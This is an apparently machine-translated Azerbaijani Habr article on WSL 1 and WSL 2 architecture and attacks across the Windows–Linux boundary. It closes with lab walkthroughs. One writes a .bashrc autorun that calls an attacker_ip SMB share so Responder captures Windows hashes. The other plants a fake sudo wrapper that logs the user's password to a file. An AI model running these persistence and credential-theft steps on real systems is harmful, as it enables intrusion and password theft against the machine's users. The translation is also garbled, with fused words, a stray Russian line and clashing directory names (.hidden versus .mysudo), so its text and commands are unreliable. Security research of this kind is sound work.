Salam, habr! OTUS oktyabr ayında yeni kurs axınına başlayır . Kursun başlaması ərəfəsində müəllimlərimizdən biri Aleksandr Kolesnikovun yazdığı məqaləni sizinlə paylaşırıq.

2016-cı ildə Microsoft İT icmasına yeni WSL texnologiyasını təqdim etdi (Wbəxş edir Süçün alt sistem Linux), uzunmüddətli perspektivdə həm adi, həm də qabaqcıl OS istifadəçiləri arasında populyarlıq uğrunda mübarizə aparan əvvəllər barışmaz rəqiblərin birləşməsinə imkan verdi: Windows и LinuxBu texnologiya ƏS alətlərindən istifadə etmək imkanı təmin etdi. Linux əhatə olunmuş Windows işə salmağa ehtiyac olmadan Linuxməsələn, çoxbucaqlı yükləmədən istifadə. Habr-da WSL-dən istifadənin faydalarını təsvir edən çoxsaylı məqalələr tapa bilərsiniz. Lakin təəssüf ki, yazı yazıldığı zaman bu resursda əməliyyat sistemlərinin bu simbiozunun təhlükəsizliyi ilə bağlı heç bir tədqiqat tapılmadı. Bu yazı bunu düzəltmək cəhdidir. Məqalədə WSL 1 və 2 arxitekturalarının xüsusiyyətləri müzakirə ediləcək və bu texnologiyalardan istifadə edən sistemlərə edilən hücumların bir neçə nümunəsi təhlil ediləcək. Məqalə iki hissəyə bölünür. Birinci hissədə hücumun əsas nəzəri metodları təqdim olunacaq. Linux и Windowsİkinci məqalədə test mühitinin qurulması və hücumların təkrarlanması müzakirə olunacaq.
WSL 1: memarlıq xüsusiyyətləri
WSL təhlükəsizlik məsələlərini tam başa düşmək üçün alt sistemin tətbiqi ilə əlaqəli əsas nüansları müəyyən etmək lazımdır. WSL tərəfindən həll edilən əsas istifadəçi ehtiyaclarından biri terminala girişin təmin edilməsidir. Linux OS ilə hostdakı sistemlər WindowsHəmçinin, təklif olunan uyğunluq o qədər doğma idi ki, icra edilə bilən fayllar Linux (ELF) birbaşa sistemdə işə salına bilər WindowsBu məqsədlərə çatmaq üçün Windows 10 Tətbiqlərin işə salınmasına imkan verən xüsusi bir alt sistem yaradıldı Linux müəyyən sistem çağırışları dəstindən istifadə etməklə - beləliklə, bir sıra syscalls xəritələşdirməyə cəhd edildi Linux haqqında WindowsFiziki olaraq, bu, yeni drayverlər və yeni proses formatı əlavə etməklə həyata keçirildi. Vizual olaraq, arxitektura belə görünürdü:

Əsasən, əməliyyat sistemi ilə qarşılıqlı əlaqə Linux bir neçə nüvə modulu və xüsusi bir proses növü olan pico istifadə edilərək təşkil edilmişdir. Yuxarıdakı diaqram göstərir ki, proses instansiyada işləyir Linux hostda, doğma olmalı və adi tətbiqlərlə eyni resurslardan istifadə etməlidir WindowsBəs buna necə nail olmaq olar? Layihədə proses konsepsiyaları hazırlanmışdır Windows, başqa bir ƏS-dən bir tətbiqi işə salmaq üçün bütün zəruri əməliyyat sistemi komponentlərini (versiyasından asılı olaraq) təmin edirdi.
Qeyd edək ki, təklif olunan abstraksiya əməliyyat sisteminə (xüsusən də, Windows), başqa bir ƏS prosesinin işə salınmasını gözləyir və ümumi bir yanaşma təklif etdi.
Beləliklə, piko prosesindəki istənilən tətbiq nüvədən asılı olmayaraq işləyə bilər. Windows:
- Sistem zənglərinin uyğunluğu və tərcüməsi problemləri xüsusi provayderlər tərəfindən həll edilməlidir;
- Giriş nəzarəti Təhlükəsizlik Monitoru vasitəsilə həyata keçirilməlidir. Monitor nüvədə yerləşir və buna görə də Windows Bu cür proseslər üçün provayder kimi çıxış edə biləcək yeni bir drayver şəklində bir yeniləmə lazım idi. Prototip piko prosesi sxematik olaraq aşağıda göstərilmişdir:

Çünki fayl sistemi Linux böyük-kiçik hərflərə həssas fayl və qovluq adlarından istifadə edir, Windows WSL ilə istifadə üçün iki fayl sistemi növü əlavə edilmişdir: VolFS və DriveFS. VolFS bir fayl sistemi tətbiqidir. Linux, DriveFS qaydalara uyğun işləyən bir fayl sistemidir Windows, lakin adların böyük-kiçik hərflərə həssaslığını seçmək seçiminə malikdir.
WSL 2
WSL 1-in ən geniş tapşırıqların həlli üçün istifadəsinə mane olan bir sıra məhdudiyyətləri var idi: məsələn, 32 bitlik işləmə qabiliyyəti yox idi Linux Tətbiqlər cihaz drayverlərindən istifadə edə bilmirdi. Buna görə də, 2020-ci ildə altsistemin qurulmasına yanaşmanı dəyişdirən WSL 2 buraxıldı. WSL 2, WSL 1-in resurs istehlakı xüsusiyyətlərinə uyğun gələn optimallaşdırılmış virtual maşındır. İndi istifadəçinin həll etdiyi problemlərdən asılı olaraq, ƏS Windows, işləmək üçün alt sistemin tələb olunan versiyasını seçə bilərsiniz LinuxPotensial zəiflikləri azaltmaq üçün WSL 2 Hyper-V əsasında tətbiq edilmişdir Windows 10Bu formada Windows əməliyyat sistemi nüvəsini təcrid olunmuş şəkildə işlətmək qabiliyyətinə malikdir LinuxWSL-in 1-ci versiyasının inkişaf istiqamətini göstərmək üçün nəzərdə tutulmuş beta xüsusiyyəti kimi təqdim edildiyini xatırlamağa dəyər. Windows bu sahədə, yəni Hyper-V-yə keçid qaçılmaz idi. Son arxitektura belə görünür:

Bu versiyada sistem nüvələri Windows и Linux Hər birinin öz resursları var və yalnız fayl sistemi daxilində üst-üstə düşür, lakin bu üst-üstə düşmə hələ tam deyil. Fayl sistemləri arasında qarşılıqlı əlaqə 9P protokolunda işləyən klient-server örtüyü vasitəsilə həyata keçirilir.
Bu gün Microsoft WSL 1 və WSL 2 arasında keçid imkanı verir. Hər iki versiya istifadə üçün əlçatandır.
WSL Təhlükəsizliyi
Hal-hazırda, alt sistemlər arasında əlaqəyə hücum etmək üçün qanuni ƏS alətlərindən istifadə etmək üçün bəzi yanaşmaları təsvir edən bir neçə əsər var. Yazı zamanı hücumların aktuallığını yoxlamaq üçün onların skriptlərindən istifadə edəcəyik. Hücumların və ssenarilərin ümumi siyahısı:
1. Fayl sisteminin tətbiqi: giriş hüquqları, paylaşılan kataloqların/məlumat mübadiləsi mexanizmlərinin mövcudluğu.
Giriş qaydalarının pozulması hallarının müəyyən edilməsi üçün araşdırma aparılıb Linux FS->Windows FS, Windows FS->Linux FS. Tədqiqat hədəf OS daxilində verilmiş faylı dəyişdirmək qabiliyyətini nümayiş etdirdi. Fayl sistemlərinin bir hissəsini əvəz etmək, dublikat yaratmaq və silmək cəhdləri də edilib.
Ssenari:
- A. Əməliyyat sistemindən hücum Windows — əməliyyat sisteminin /etc qovluğundan faylların dəyişdirilməsi Linux.
- B. Əməliyyat sistemindən hücum Linux — qovluqlardakı faylların dəyişdirilməsi:
C:Windows,C:Program Files,C:Users<User>
2. Şəbəkə yığınının həyata keçirilməsi.
Tədqiqat əməliyyat sistemindən hücumların nümunələrindən istifadə etməklə aparılmışdır. Linux haqqında WindowsŞəbəkə yığınının əməliyyat xüsusiyyətlərindən, xüsusən də müxtəlif resurslar üçün identifikasiya mexanizmlərindən istifadə edilmişdir.
Ssenari:
- Sistemdə məşğul olan bir porta giriş açılır Windows
- Müvafiq hüquqlar olmadan limanın açılması
- Əməliyyat sistemində elf faylından istifadə edərək tərs qabığı işə salmaq Windows.
3. WSL alt sistemindən istifadə edərək zərərli proqram təminatı proseslərinin işə salınmasının gizlədilməsi.
Tədqiqat sadə bir fakta əsaslanırdı - təhlükəsizlik alt sistemləri WSL 1 vəziyyətində əməliyyat sisteminin qanuni provayderindən istifadə edərək işləyən başqa nüvədəki hadisələrə müdaxilə edə bilməz. WSL 2 vəziyyətində baş verən hadisələrə baxmaq imkanı yoxdur. yüngül virtual maşın daxilində ayrı bir nüvədə.
Ssenari:
1) Sistemə uzaqdan daxil olmaq üçün proqramı işə salın və daxil edilmiş hadisələrə baxın.
WSL 1 Təcrübələri: Heş Oğurlama (OS) Windows)
Nəhayət ki, praktik hissəyə çatdıq. Əvvəlcə sınaq mühitini qurmalıyıq. Bütün təcrübələr sınaq skamyada aparılacaq Windows 10 2004. WSL üçün seçilmiş əməliyyat sistemi təsviri idi Ubuntu 18.04 aprel. Şəkil təsadüfi seçilib və hər hansı digər şəkil də eyni dərəcədə uyğun olacaq. Stendin qurulması üçün əmrlər:
Əvvəlcə işə salmalısınız powershell.exe idarəçi olaraq.
WSL 1 üçün əmrləri yerinə yetirməlisiniz:
- Aktivləşdir-WindowsKönüllü Xüsusiyyət -Onlayn -Xüsusiyyət Adı Microsoft-Windows-Altsistem-Linux #WSL xüsusiyyətini aktivləşdirin
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu1804-
-OutFile ~/Ubuntu.appx -UseBasicParsing #Şəkli yükləyin Linux Microsoft Mağazasından
Quraşdırmanı yenidən başlatdıqdan sonra bash əmrini işlədə bilərsiniz. Hər şey düzgün işləyibsə, konsolda buna bənzər bir nəticə görəcəksiniz. Windows:

Hücumçunun maşını olaraq Kali paylanmasından istifadə edəcəyik. Linux, bütün maşınlar eyni yerli şəbəkədə olmalıdır.
Tutaq ki, maşında WSL-ə imtiyazsız girişimiz var WindowsƏməliyyat sisteminə hücum etməyə çalışaq. Linux, əmri çağırır LinuxHücumu həyata keçirmək üçün sadə bir autorun texnikasından istifadə edəcəyik — skriptimizi mühitə əlavə edəcəyik. LinuxBunu etmək üçün faylı dəyişdirməlisiniz .bashrc.
WSL ilə bir maşında biz icra edirik:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitKali avtomobili ilə Linux icra edirik:
1. Responder -I eth0 -rdvwAvtomobil ilə Windows Gəlin bash əmrini işlədək.
Kali maşınında nəticələri gözləyirik. Linux:

Beləliklə, istifadəçi heşlərini əldə etdik Windows sistemdə bir əmr işlədərək WSL alt sistemi vasitəsilə Linux.
WSL 1 Təcrübələri: İstifadəçi Şifrəsinin (ƏS) Əldə Edilməsi Linux)
Gəlin daha bir təcrübə edək. Bu yoxlama zamanı biz fayla əlavə edəcəyik .bashrc əməliyyat sistemi istifadəçi parolunu almaq üçün bir neçə əmr Linux.
Gəlin bash-ı işə salaq və əmrləri daxil edək:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Hücumun uğurlu olması üçün istifadəçi Sam terminalda sudo əmrini işə salmalıdır. LinuxBundan sonra, ƏS istifadəçi parolu Linux faylda olacaq pass.txt:

Hücumların həyata keçirilməsi yalnız nəzəri məlumat üçün verilib.
Məqalənin növbəti hissəsində 9P protokolunun tətbiqi təsvir ediləcək, bu protokol üçün skanerin yaradılması nəzərdən keçiriləcək, həmçinin ondan istifadə edərək hücum həyata keçiriləcək.
İstifadə olunmuş ədəbiyyat siyahısı
Daha çox oxu
Mənbə: www.habr.com
